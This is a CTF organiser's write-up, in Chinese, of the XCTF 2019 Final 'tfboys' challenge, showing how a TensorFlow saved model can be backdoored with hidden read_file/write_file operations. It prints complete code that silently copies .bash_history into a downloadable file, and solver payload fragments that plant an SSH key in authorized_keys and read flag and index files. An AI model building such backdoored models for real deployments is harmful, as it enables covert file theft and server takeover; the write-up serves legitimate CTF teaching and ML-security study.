污染TensorFlow模型: XCTF 2019 Final tfboys命题思路
[CTF]
TFBoys a.k.a. TensorFlow Boys :P
TensorFlow 加载模型时的安全风险
Tensorflow用数据流图(dataflow graph)来表示计算模型,结点(node)表示计算操作(operation)。
常规的operation多用来表达计算(加减乘除),此外还有两种特殊的operation:read_file() 和 write_file() ,他们可以在模型运行时操纵文件的读写,导致安全风险。攻击者可以将训练好的模型中插入这种"后门",使用者加载TF模型时将触发文件读写,导致信息被窃取或系统被控制。
这篇文章公开了这种利用方式,并给出详细分析:
命题过程
依据上述思路。本题实现了一个公开的TensorFlow服务,允许用户上传并运行自己的TF模型,并将flag藏于服务器中。
解题关键点:
- 需要熟悉TensorFlow模型开发流程,能够构造出后门模型。
- 需要通过文件读写操作找到flag。
第一点可以完全通过TF文档从0开始学习,第二点相信对XCTF Final的web选手不在话下。总体来讲是想要设计一个通过学习"一定"能够解决的题,希望选手通过此题熟悉TF,收获从0到1的快感。
首先使用 公开的HTTP流量样本 训练了一个char-level LSTM文本分类模型,并导出为TensorFlow saved_model格式,模型结构如下:
model = Sequential()
model.add(Embedding(num_words, 32, input_length=max_log_length))
model.add(Dropout(0.5))
model.add(LSTM(64, recurrent_dropout=0.5))
model.add(Dropout(0.5))
model.add(Dense(1, activation='sigmoid'))
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
接着部署WEB服务,提供TF模型上传、下载、测试功能。默认情况下,WEB服务将加载上文已经训练好的模型。
- 题目代码: https://github.com/Xyntax/XCTF-2019-tfboys
解题过程
- 下载题目中的default模型,植入后门,再上传,然后前台提交文本测试,触发文件读写操作。
加载已有模型
import tensorflow as tf
import numpy as np
origin_model = './'
sess = tf.Session(graph=tf.Graph())
# 加载
meta_graph_def = tf.saved_model.loader.load(sess, [tf.saved_model.SERVING], origin_model)
# 查看模型结构
signature = meta_graph_def.signature_def
print(signature)
signature:
{'serving_default': inputs {
key: "input"
value {
name: "embedding_1_input:0"
dtype: DT_FLOAT
tensor_shape {
dim {
size: -1
}
dim {
size: 512
}
}
}
}
outputs {
key: "output"
value {
name: "dense_1/Sigmoid:0"
dtype: DT_FLOAT
tensor_shape {
dim {
size: -1
}
dim {
size: 1
}
}
}
}
method_name: "tensorflow/serving/predict"
}
在构建"后门模型"时,可以考虑在原有模型输出节点上加一个"ghost operation",这样在不影响模型predict结果的情况下,悄无声息地完成文件读写的目的。
with tf.Session(graph=tf.Graph()) as sess:
# 原有模型加载
meta_graph_def = tf.saved_model.loader.load(sess, [tf.saved_model.SERVING], origin_model)
signature = meta_graph_def.signature_def
x = sess.graph.get_tensor_by_name('embedding_1_input:0') # comes from model signature above
y = sess.graph.get_tensor_by_name('dense_1/Sigmoid:0')
# 构建后门,读取.bash_history内容,写入/home/ubuntu/web3/model/upload/saved_model.pb。
reader = tf.read_file('/home/ubuntu/.bash_history') # information gathering
path = tf.constant("/home/ubuntu/web3/model/upload/saved_model.pb") # file path comes from website
# 让后门节点return一个常数0,加到y,这样不改变原有predict效果。
with tf.control_dependencies([tf.write_file(path,reader)]):
b = tf.constant(0.0,name='write')
y_exp = tf.add(y,b)
# 导出被植入后门的模型
export_path = 'evil_model2'
builder = tf.saved_model.builder.SavedModelBuilder(export_path)
# 让input/output的key与之前signature定义的key保持一致。
signature_inputs = {
'input': tf.saved_model.utils.build_tensor_info(x)
}
signature_outputs = {
'output': tf.saved_model.utils.build_tensor_info(y_exp) # assign y_exp as output node
}
classification_signature_def = tf.saved_model.signature_def_utils.build_signature_def(
inputs=signature_inputs,
outputs=signature_outputs,
method_name=tf.saved_model.signature_constants.CLASSIFY_METHOD_NAME)
builder.add_meta_graph_and_variables(
sess,
[tf.saved_model.tag_constants.SERVING],
signature_def_map={
'serving_default': classification_signature_def
}#,
#legacy_init_op=tf.group(tf.tables_initializer())
)
builder.save()
打包模型,上传到web服务:
cd evil_model && zip -r evil_model.zip saved_model.pb variables/
此处如果服务端加载模型失败,会提示TF版本并给出报错信息,便于选手排查模型结构错误。
模型通过校验后,在WEB前台输入任意字符串,触发predict流程,导致/home/ubuntu/.bash_history
内容被read_file()
读取,并通过write_file()
写到/home/ubuntu/web3/model/upload/saved_model.pb
中。
此时在前台下载当前模型,将/home/ubuntu/web3/model/upload/
目录打包下载到本地,完成信息泄露。
从.bash_history
中可以看到flag地址,然后再次构建一个模型下载flag即可。
source anaconda3/bin/activate
jupyter-notebook --ip 0.0.0.0 --port 18888
ls
python -V
pip install tensorflow
pip install keras
ipython
apt-get install git
sudo apt-get install git
curl myip.ipip.net
nc -lvp 9999 > web3.zip
ls
unzip web3.zip
ls
cp -r model/ web3/
cp -r build/ web3/
cd web3/
ls
vi flag_3deaef310
python run.py
这里模型结构的定义、文件读写的利用方式操作空间较大,可通过多种方式拿到flag。
解题情况
- 开题4小时后,Nu1L 通过WriteFile写入/.ssh/authorized_keys完成一血。
^RWriteFile/filename^R^EConst*2
^Evalue^R)B'^H^G^R^@B!/home/ubuntu/.ssh/authorized_keys*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
^B:^@
£^A
^RWriteFile/contents^R^EConst*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
^B:^@*a
^Evalue^RXBV^H^G^R^@BPssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaA1CQXDJEUKyhg0qD9LuIosOYunZMujyMQoAAdOpuK
- 开题8小时后,Venom 完成了PoC,读了一系列文件之后找到flag位置,用web静态文件/static/js/bootstrap.min.js作为回显拿到flag。
QReadFile/filename^R^EConst*1
^Evalue^R(B&^H^G^R^@B /home/ubuntu/web3/flag_3deaef310*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
- 同期 天枢Dubhe 也已完成PoC,尚未找到flag。比赛首日仅两队成功解题。
- 次日,Bushwhackers 加入找flag行列,在读了一遍/proc/和源码后无果,想要直接读取/var/lib/mlocate/mlocate.db一把梭。
^QReadFile/filename^R^EConst*,
^Evalue^R#B!^H^G^R^@B^[/var/lib/mlocate/mlocate.db*^K
^Edtype^R^B0^G
'
^HReadFile^R^HReadFile^Z^QReadFile/filename
h
^RWriteFile/filename^R^EConst*>
^Evalue^R5B3^H^G^R^@B-/home/ubuntu/web3/model/upload/variables/keks*^K
^Edtype^R^B0^G
这个文件是locate
指令对系统内文件路径的索引,可以直接从这个14M的文件里搜到包含flag
字符串的路径。然而普通用户并没有读文件权限。最终仍是通过写ssh拿到flag。
- 最终在20支队伍中有7队成功解题。